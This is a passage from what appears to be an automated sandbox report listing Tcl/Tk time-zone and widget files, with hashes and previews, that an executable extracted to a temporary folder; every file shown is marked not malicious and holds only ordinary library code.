SHA-512:	ABE69BEF808D7B0BEF9F49804D4A753E033D7C99A7EA57745FE4C3CBE2C26114A8845A219ED6DEAB8FA009FDB86E384687068C1BCF8B704CCF24DA7029455802
Malicious:	false
Preview:	# created by ../tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Anchorage)]} {. LoadTimeZoneFile America/Anchorage.}.set TZData(:SystemV/YST9YDT) $TZData(:America/Anchorage).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\Turkey

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.882090609090058
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxV0XaDvFVAIgoq3XPHtjCl1yQaqXNn:SlSWB9IZaM3ymQazFVAIgoQPHtSymN
MD5:	41703ED241199F0588E1FC6FF0F33E90
SHA1:	08B4785E21E21DFE333766A7198C325CD062347B
SHA-256:	4B8A8CE69EE94D7E1D49A2E00E2944675B66BD16302FE90E9020845767B0509B
SHA-512:	F90F6B0002274AF57B2749262E1530E21906162E4D1F3BE89639B5449269F3026A7F710C24765E913BC23DEC5A6BF97FC0DD465972892D851B6EAEEF025846CA
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Istanbul)]} {. LoadTimeZoneFile Europe/Istanbul.}.set TZData(:Turkey) $TZData(:Europe/Istanbul).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\UCT

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.792993822845485
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAmMwFVAIghO6iGMFfh8RS:SlSWB9IZaM3y1wFVAIghFiP8RS
MD5:	1921CC58408AD2D7ED3B5308C71B1A28
SHA1:	12F832D7B3682DC28A49481B8FBA8C55DCDC60D0
SHA-256:	92FC6E3AA418F94C486CE5BF6861FAA4E85047189E98B90DA78D814810E88CE7
SHA-512:	EB134E2E7F7A811BFA8223EB4E98A94905EA24891FD95AB29B52DE2F683C97E086AA2F7B2EA93FBA2451AAEDD22F01219D700812DABC7D6670028ACF9AAB8367
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UCT)]} {. LoadTimeZoneFile Etc/UCT.}.set TZData(:UCT) $TZData(:Etc/UCT).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Alaska

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.864166947846424
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0/VXEtDvFVAIg20/VXE0JLiOGl0IAcGE/VXE6n:SlSWB9IZaM3y7/9EtDvFVAIgp/9EmLiB
MD5:	0763082FF8721616592350D8372D59FF
SHA1:	CEBB03EB7F44530CF52DCA7D55DC912015604D94
SHA-256:	94FDFE2901596FC5DCE74A5560431F3E777AE1EBEEE59712393AE2323F17ADFA
SHA-512:	DFE8AAA009C28C209A925BBE5509589C0087F6CC78F94763BFA9F1F311427E3FF2E377EB340590383D790D3578C1BB37D41525408D027763EA96ECB3A3AAD65D
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Anchorage)]} {. LoadTimeZoneFile America/Anchorage.}.set TZData(:US/Alaska) $TZData(:America/Anchorage).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Aleutian

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.839824852896375
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0/yO5pVAIg20/yOvYvtiObMEIB/4IAcGE/yOun:SlSWB9IZaM3y7/ykVAIgp/y9FitE8/47
MD5:	01142938A2E5F30FADE20294C829C116
SHA1:	8F9317E0D3836AF916ED5530176C2BF7A929C3C7
SHA-256:	1DD79263FB253217C36A9E7DDCB2B3F35F208E2CE812DCDE5FD924593472E4FE
SHA-512:	2C47FE8E8ED0833F4724EF353A9A6DFCE3B6614DA744E64364E9AB423EC92565FEF1E8940CB12A0BCCFE0BD6B44583AF230A4ABCC0BAE3D9DC43FBB2C7941CFF
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Adak)]} {. LoadTimeZoneFile America/Adak.}.set TZData(:US/Aleutian) $TZData(:America/Adak).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Arizona

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.886225611026426
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0utLaDvFVAIg20utLPtiQMfQfBx+IAcGEutLNn:SlSWB9IZaM3y7O+FVAIgpObtiZfQfH+v
MD5:	090DC30F7914D5A5B0033586F3158384
SHA1:	2F526A63A1C47F88E320BE1C12CA8887DA2DC989
SHA-256:	47D25266ABBD752D61903C903ED3E9CB485A7C01BD2AA354C5B50DEBC253E01A
SHA-512:	5FE75328595B5DECDAC8D318BEE89EAD744A881898A4B45DD2ABB5344B13D8AFB180E4A8F8D098A9589488D9379B0153CBC5CF638AF7011DE89C57B554F42757
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Phoenix)]} {. LoadTimeZoneFile America/Phoenix.}.set TZData(:US/Arizona) $TZData(:America/Phoenix).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Central

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.854450230853601
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx096dVAIg2096zAtibXgox/h4IAcGE96s:SlSWB9IZaM3y796dVAIgp96WiB49096s
MD5:	E0801B5A57F40D42E8AF6D48C2A41467
SHA1:	A49456A1BF1B73C6B284E0764AEAFD1464E70DDC
SHA-256:	16C7FFCE60495E5B0CB65D6D5A0C3C5AA9E62BD6BC067ABD3CD0F691DA41C952
SHA-512:	3DE6A41B88D6485FD1DED2DB9AB9DAD87B9F9F95AA929D38BF6498FC0FD76A1048CE1B68F24CD22C487073F59BD955AFCB9B7BF3B20090F81FA250A5E7674A53
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Chicago)]} {. LoadTimeZoneFile America/Chicago.}.set TZData(:US/Central) $TZData(:America/Chicago).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\East-Indiana

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.715837665658945
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GK7mFVAIgp3GKBLi3E0903GK1:MBaIMY3GK7Hp3GKBLi3t903GK1
MD5:	1A27644D1BF2299B7CDDED7F405D6570
SHA1:	BD03290A6E7A967152E2E4F95A82E01E7C35F63C
SHA-256:	1C46FAEDFACEB862B2E4D5BD6AC63E5182E1E2CFD2E1CDFA2661D698CC8B0072
SHA-512:	9D6F3E945656DD97A7E956886C1123B298A87704D4F5671E4D1E94531C01F8BE377D83239D8BE78E2B3E1C0C20E5779BA3978F817A6982FE607A18A7FDCF57FB
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Indianapolis)]} {. LoadTimeZoneFile America/Indiana/Indianapolis.}.set TZData(:US/East-Indiana) $TZData(:America/Indiana/Indianapolis).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Eastern

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.990255962392122
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0wAy0vwVAIg20wAyati37oxp4IAcGEwAy0v:SlSWB9IZaM3y71KVAIgp1Bi37oxp490n
MD5:	3FE03D768F8E535506D92A6BC3C03FD2
SHA1:	F82BF149CE203B5A4A1E106A495D3409AF7A07AC
SHA-256:	9F46C0E46F6FE26719E2CF1FA05C7646530B65FB17D4101258D357568C489D77
SHA-512:	ADFDBB270113A192B2378CC347DD8A57FDBDC776B06F9E16033EE8D5EAB49E16234CA2523580EEBB4DCDD27F33222EDD5514F0D7D85723597F059C5D6131E1B0
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/New_York)]} {. LoadTimeZoneFile America/New_York.}.set TZData(:US/Eastern) $TZData(:America/New_York).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Hawaii

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.832149382727646
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqTQG2fWGYFedVAIgObT2fWzvNioMN75nUDH2fWRn:SlSWB9IZaM3yc6e8dVAIgOb6ezvNioEe
MD5:	347E51049A05224D18F264D08F360CBB
SHA1:	A801725A9B01B5E08C63BD2568C8F5D084F0EB02
SHA-256:	EA5D18E4A7505406D6027AD34395297BCF5E3290283C7CC28B4A34DB8AFBDD97
SHA-512:	C9B96C005D90DD8F317A697F59393D20663DE74D6E4D0B45BCE109B31A328D7AA62C51FAA8D00C728C0342940EF3B0F0921814B31BD7FE128A6E95F92CF50E06
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Honolulu)]} {. LoadTimeZoneFile Pacific/Honolulu.}.set TZData(:US/Hawaii) $TZData(:Pacific/Honolulu).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Indiana-Starke

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	201
Entropy (8bit):	4.825742972037525
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GKXFVAIgp3GK4NiGIfh4903GKk:MBaIMY3GKXQp3GKeiBfh4903GKk
MD5:	E111813F4C9B888427B8363949C87C72
SHA1:	96B6692DCD932DCC856804BE0C2145538C4B2B33
SHA-256:	4E896634F3A400786BBD996D1FE0D5C9A346E337027B240F1671A7E4B38C8F69
SHA-512:	97726D7EDB7D7A1F6E815A0B875CAF9E2D2D27F50ECC866FBC6CB1B88836E8C2D64A9C108CD917C9D641B30822397664A2AC8010EADF0FF2A6C205AE4D5E7A2F
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Indiana/Knox)]} {. LoadTimeZoneFile America/Indiana/Knox.}.set TZData(:US/Indiana-Starke) $TZData(:America/Indiana/Knox).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Michigan

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.7846496799669405
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx06FQGFwVAIg206FQN6iHaMCELMr4IAcGE6FQu:SlSWB9IZaM3y74PFwVAIgp4xiHaMHL+U
MD5:	80A9A00EC1C5904A67DC3E8B2FDC3150
SHA1:	8E79FBEB49D9620E793E4976D0B9085E32C57E83
SHA-256:	8DB76FC871DD334DA87297660B145F8692AD053B352A19C2EFCD74AF923D762D
SHA-512:	0A5662E33C60030265ECAD1FF683B18F6B99543CA5FE22F88BCE597702FBEA20358BCB9A568D7F8B32158D9E6A3D294081D183644AD49C22AC3512F97BE480D4
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Detroit)]} {. LoadTimeZoneFile America/Detroit.}.set TZData(:US/Michigan) $TZData(:America/Detroit).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Mountain

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	177
Entropy (8bit):	4.84430947557215
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx06RGFwVAIg206RAO0LiBOlLo/4IAcGE6Ru:SlSWB9IZaM3y7+SwVAIgp+iLiBY8/49G
MD5:	13D6C7CF459995691E37741ACAF0A18D
SHA1:	A0626763930C282DF21ED3AA8F1B35033BA2F9DC
SHA-256:	223B5C8E34F459D7B221B83C45DBB2827ABE376653BAA1BC56D09D50DF136B08
SHA-512:	9076DFECC5D02DB38ECE3D2512D52566675D98A857711676E891D8741EA588153954357FE19F4C69305FF05D0F99286F1D496DF0C7FDBC8D59803D1B1CFA5F07
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Denver)]} {. LoadTimeZoneFile America/Denver.}.set TZData(:US/Mountain) $TZData(:America/Denver).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Pacific

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	191
Entropy (8bit):	4.885594237758327
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0ydJg4owFVAIg20ydJEvRLiP+e2IAcGEydJgvn:SlSWB9IZaM3y7DvwFVAIgpdJLip290Dv
MD5:	EBF51CD015BD387FA2BB30DE8806BDDA
SHA1:	63C2E2F4CD8BC719A06D59EF4CE4C31F17F53EA0
SHA-256:	B7AD78FB955E267C0D75B5F7279071EE17B6DD2842DAD61ADA0165129ADE6A86
SHA-512:	22BECE2AEAD66D921F38B04FDC5A41F2627FCC532A171EA1C9C9457C22CD79EFD1EC3C7CC62BC016751208AD1D064B0F03C2185F096982F73740D8426495F5ED
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Los_Angeles)]} {. LoadTimeZoneFile America/Los_Angeles.}.set TZData(:US/Pacific) $TZData(:America/Los_Angeles).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Pacific-New

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.931883193402467
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7DvwFVAIgpdJLi0Q90Dvn:MBaIMYFpdJLix90z
MD5:	01CD3EBFDB7715805572CDA3F81AC78A
SHA1:	C013C38D2FB9E649EE43FED6910382150C2B3DF5
SHA-256:	DEFE67C520303EF85B381EBEAED4511C0ACF8C49922519023C525E6A1B09B9DD
SHA-512:	266F35C34001CD4FF00F51F5CDF05E1F4D0B037F276EFD2D124C8AE3391D00128416D16D886B3ECDF9E9EFC81C66B2FD4ED55F154437ED5AA32876B855289190
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Los_Angeles)]} {. LoadTimeZoneFile America/Los_Angeles.}.set TZData(:US/Pacific-New) $TZData(:America/Los_Angeles).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\US\Samoa

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.789322986138067
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqTQGurKeTIVAIgObTurKeUAti6A5nUDHurKeTv:SlSWB9IZaM3ycieZVAIgObieiidXeg
MD5:	E883D478518F6DAF8173361A8D308D34
SHA1:	ABD97858655B0069BFD5E11DD95BF6D7C2109AEA
SHA-256:	DD4B1812A309F90ABBD001C3C73CC2AF1D4116128787DE961453CCBE53EC9B6A
SHA-512:	DA1FE6D92424404111CBB18CA39C8E29FA1F9D2FD262D46231FB7A1A78D79D00F92F5D1DEBB9B92565D1E3BA03EF20D2A44B76BA0FC8B257A601EED5976386CC
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Pacific/Pago_Pago)]} {. LoadTimeZoneFile Pacific/Pago_Pago.}.set TZData(:US/Samoa) $TZData(:Pacific/Pago_Pago).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\UTC

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.792993822845485
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAxmSwFVAIgESRLiLB5h8RFu:SlSWB9IZaM3yzUFVAIgBLiLfh8RI
MD5:	530F5381F9CD8542ED5690E47FC83358
SHA1:	29A065F004F23A5E3606C2DB50DC0AB28CAFC785
SHA-256:	AC0FF734DA267E5F20AB573DBD8C0BD7613B84D86FDA3C0809832F848E142BC8
SHA-512:	4328BDFD6AA935FD539EE2D4A3EBA8DD2A1BD9F44BA0CF30AA0C4EA57B0A58E3CDFAA312366A0F93766AE445E6E210EE57CD5ED60F74173EDF67C1C5CB987C68
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UTC)]} {. LoadTimeZoneFile Etc/UTC.}.set TZData(:UTC) $TZData(:Etc/UTC).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\Universal

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	154
Entropy (8bit):	4.829496870339919
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAxmSwFVAIgESRLiL7DJMFfh8RFu:SlSWB9IZaM3yzUFVAIgBLiL7VMr8RI
MD5:	60878BB8E8BE290911CAB2A16AAFAEF7
SHA1:	15C01523EDA134D3E38ECC0A5909A4579BD2A00D
SHA-256:	9324B6C871AC55771C44B82BF4A92AE0BE3B2CC64EBA9FE878571225FD38F818
SHA-512:	C697401F1C979F5A4D33E1026DCE5C77603E56A48405511A09D8CE178F1BF47D60F217E7897061F71CFEA63CC041E64340EF6BAEE0EB037AFD34C71BF0591E3E
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UTC)]} {. LoadTimeZoneFile Etc/UTC.}.set TZData(:Universal) $TZData(:Etc/UTC).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\W-SU

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.9534620854837295
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqxVwTwpVAIgoqzTcYFgIuyQauTnn:SlSWB9IZaM3ymdVAIgohYFgXymn
MD5:	58FBF79D86DBCFF53F74BF7FE5C12DD6
SHA1:	EA8B3317B012A661B3BA4A1FAE0DC5DEDC03BC26
SHA-256:	0DECFEACCE2E2D88C29CB696E7974F89A687084B3DB9564CDED6FC97BCD74E1F
SHA-512:	083B449DE987A634F7199666F9C685EADD643C2C2DD9C8F6C188388266729CE0179F9DC0CD432D713E5FB1649D0AA1A066FE616FC43DA65C4CD787D8E0DE00A6
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Europe/Moscow)]} {. LoadTimeZoneFile Europe/Moscow.}.set TZData(:W-SU) $TZData(:Europe/Moscow).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\WET

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6694
Entropy (8bit):	3.6896780927557495
Encrypted:	false
SSDEEP:	96:D6U5vo30NSfAewvtj544IrvfMS4pBs6nLUxZlJFXmA3SG7iL8malvkUEYo4Q:5PIMj544IrvfMsbxZTH7qwQ
MD5:	CD86A6ED164FEB33535D74DF52DC49A5
SHA1:	89843BF23AB113847DCC576990A4FF2CABCA03FE
SHA-256:	AF28754C77BA41712E9C49EF3C9E08F7D43812E3317AD4E2192E971AD2C9B02D
SHA-512:	80C0A7C3BDD458CA4C1505B2144A3AD969F7B2F2732CCBE4E773FBB6ED446C2961E0B5AFFBC124D43CE9AB530C42C8AEC7100E7817566629CE9D01AC057E3549
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:WET) {. {-9223372036854775808 0 0 WET}. {228877200 3600 1 WEST}. {243997200 0 0 WET}. {260326800 3600 1 WEST}. {276051600 0 0 WET}. {291776400 3600 1 WEST}. {307501200 0 0 WET}. {323830800 3600 1 WEST}. {338950800 0 0 WET}. {354675600 3600 1 WEST}. {370400400 0 0 WET}. {386125200 3600 1 WEST}. {401850000 0 0 WET}. {417574800 3600 1 WEST}. {433299600 0 0 WET}. {449024400 3600 1 WEST}. {465354000 0 0 WET}. {481078800 3600 1 WEST}. {496803600 0 0 WET}. {512528400 3600 1 WEST}. {528253200 0 0 WET}. {543978000 3600 1 WEST}. {559702800 0 0 WET}. {575427600 3600 1 WEST}. {591152400 0 0 WET}. {606877200 3600 1 WEST}. {622602000 0 0 WET}. {638326800 3600 1 WEST}. {654656400 0 0 WET}. {670381200 3600 1 WEST}. {686106000 0 0 WET}. {701830800 3600 1 WEST}. {717555600 0 0 WET}. {733280400 3600 1 WEST}. {749005200 0 0 WET}. {764730000 36

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\tzdata\Zulu

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.830292555237936
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqAxmSwFVAIgESRLtaFBURFu:SlSWB9IZaM3yzUFVAIgBLYFaRI
MD5:	6C7C2CE174DB462A3E66D9A8B67A28EB
SHA1:	73B74BEBCDAEBDA4F46748BCA149BC4C7FE82722
SHA-256:	4472453E5346AAA1E1D4E22B87FDC5F3170AA013F894546087D0DC96D4B6EC43
SHA-512:	07209059E5E5EB5EE12821C1AC46922DA2715EB7D7196A478F0FA6866594D3C69F4C50006B0EE517CBF6DB07164915F976398EBBD88717A070D750D5D106BA5D
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Etc/UTC)]} {. LoadTimeZoneFile Etc/UTC.}.set TZData(:Zulu) $TZData(:Etc/UTC).

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\word.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4860
Entropy (8bit):	4.7851008522116585
Encrypted:	false
SSDEEP:	96:Le+U54W37GWdh85qWdhAjgr9a+1FeS9D/CkXg6gvF9D/CYjX16AyyrGuA11/JRJZ:q+W/7GW85qW9a+P39DCd6gt9DC+6AjGN
MD5:	C5DA264DC0CE5669F81702170B2CDC59
SHA1:	FED571B893EE2DC93DAF8907195503885FFACBB6
SHA-256:	A5311E3640E42F7EFF5CC1A0D8AD6956F738F093B037155674D46B634542FE5F
SHA-512:	1F1993F1F19455F87EC9952BF7CEA00A5082BD2F2E1A417FBC4F239835F3CED6C8D5E09CDA6D1A4CD9F8A24AF174F9AB1DC7BD5E94C7A6DEE2DD9F8FE7F690FF
Malicious:	false
Preview:	# word.tcl --.#.# This file defines various procedures for computing word boundaries in.# strings. This file is primarily needed so Tk text and entry widgets behave.# properly for different platforms..#.# Copyright (c) 1996 by Sun Microsystems, Inc..# Copyright (c) 1998 by Scritpics Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...# The following variables are used to determine which characters are.# interpreted as white space...if {$::tcl_platform(platform) eq "windows"} {. # Windows style - any but a unicode space char. if {![info exists ::tcl_wordchars]} {..set ::tcl_wordchars {\S}. }. if {![info exists ::tcl_nonwordchars]} {..set ::tcl_nonwordchars {\s}. }.} else {. # Motif style - any unicode word char (number, letter, or underscore). if {![info exists ::tcl_wordchars]} {..set ::tcl_wordchars {\w}. }. if {![info exists ::tcl_nonwordchars]} {..set ::tcl_nonwo

C:\Users\user\AppData\Local\Temp\_MEI65762\tk86t.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1468064
Entropy (8bit):	6.165850680457804
Encrypted:	false
SSDEEP:	24576:J7+Vm6O8hbcrckTNrkhaJVQhWnmb7u/DSe9qT03ZjLmFMoERDY5TUT/tXzddGyIK:JCQ69cYY9JVQWx/DSe9qTqJLUMPsJUT/
MD5:	FDC8A5D96F9576BD70AA1CADC2F21748
SHA1:	BAE145525A18CE7E5BC69C5F43C6044DE7B6E004
SHA-256:	1A6D0871BE2FA7153DE22BE008A20A5257B721657E6D4B24DA8B1F940345D0D5
SHA-512:	816ADA61C1FD941D10E6BB4350BAA77F520E2476058249B269802BE826BAB294A9C18EDC5D590F5ED6F8DAFED502AB7FFB29DB2F44292CB5BEDF2F5FA609F49C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................................B................R..................Rich..................PE..d......\.........." .........J......@........................................p.......f....`.............................................@@..P>..\|........{......,....L.......0...?..`................................................ ..P............................text...c........................... ..`.rdata...?... ...@..................@..@.data........`.......N..............@....pdata..,...........................@..@.rsrc....{.......\|..................@..@.reloc...?...0...@..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\bgerror.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8246
Entropy (8bit):	4.8180558683809425
Encrypted:	false
SSDEEP:	192:tKrjbDL5//nNFn0rBnDQQ2d4YGpFAImoYyMxZ34wNsf9GnEF5SpcJV+H//iNx:tIjL5//zC/8HLx4XKKv
MD5:	11D758CEF126C5C2EDFC911237DF80F2
SHA1:	7911EAA0A8B6630D016D15730310935909632389
SHA-256:	DA84D32D1B447F7FFE7BBCAC0F7586B0B6DD204717C7AE1F182C6A91510EC77B
SHA-512:	9E2A767FBC62622C34F468958C861EE3AFE2A63005BAD80F1637045D045E1A82FB1D2698D948D375222EBD0B92514ACE99C12DF6D9CACF75ACD03EC8057494A7
Malicious:	false
Preview:	# bgerror.tcl --.#.#.Implementation of the bgerror procedure. It posts a dialog box with.#.the error message and gives the user a chance to see a more detailed.#.stack trace, and possible do something more interesting with that.#.trace (like save it to a log). This is adapted from work done by.#.Donal K. Fellows..#.# Copyright (c) 1998-2000 by Ajuba Solutions..# Copyright (c) 2007 by ActiveState Software Inc..# Copyright (c) 2007 Daniel A. Steffen <das@users.sourceforge.net>.# Copyright (c) 2009 Pat Thoyts <patthoyts@users.sourceforge.net>..namespace eval ::tk::dialog::error {. namespace import -force ::tk::msgcat::. namespace export bgerror. option add ErrorDialog.function.text [mc "Save To Log"] \..widgetDefault. option add ErrorDialog.function.command [namespace code SaveToLog]. option add ErrorDialogLabel.font TkCaptionFont widgetDefault. if {[tk windowingsystem] eq "aqua"} {..option add ErrorDialog*background systemAlertBackgroundActive \...widgetDefault.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\button.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20642
Entropy (8bit):	4.903366631227966
Encrypted:	false
SSDEEP:	384:8zVtoY3wFnq+j4SpEdPmVmZ6/IVKuzmSaox2ESo+VtocUP5wFnq+j4SpEdPmV8ZQ:coahPSFMmfoz4oFXhPovzmToQBy0zm2m
MD5:	309AB5B70F664648774453BCCBE5D3CE
SHA1:	51BF685DEDD21DE3786FE97BC674AB85F34BD061
SHA-256:	0D95949CFACF0DF135A851F7330ACC9480B965DAC7361151AC67A6C667C6276D
SHA-512:	D5139752BD7175747A5C912761916EFB63B3C193DD133AD25D020A28883A1DEA6B04310B751F5FCBE579F392A8F5F18AE556116283B3E137B4EA11A2C536EC6B
Malicious:	false
Preview:	# button.tcl --.#.# This file defines the default bindings for Tk label, button,.# checkbutton, and radiobutton widgets and provides procedures.# that help in implementing those bindings..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..# Copyright (c) 2002 ActiveState Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# The code below creates the default class bindings for buttons..#-------------------------------------------------------------------------..if {[tk windowingsystem] eq "aqua"} {.. bind Radiobutton <Enter> {..tk::ButtonEnter %W. }. bind Radiobutton <1> {..tk::ButtonDown %W. }. bind Radiobutton <ButtonRelease-1> {..tk::ButtonUp %W. }. bind Checkbutton <Enter> {..tk::ButtonEnter %W. }. bind Checkbutton <1

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\choosedir.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	Nim source code, ASCII text
Category:	dropped
Size (bytes):	9652
Entropy (8bit):	4.750454352074374
Encrypted:	false
SSDEEP:	192:MvjK3vpIKU7JBhpZofNAieYemp8U3wNV97oZQWpopePXUsyWjocIegf6tq9jJKT4:M4viKeBQ+3M3wNwvwsFyoIegf6wO70fN
MD5:	E703C16058E7F783E9BB4357F81B564D
SHA1:	1EDA07870078FC4C3690B54BB5330A722C75AA05
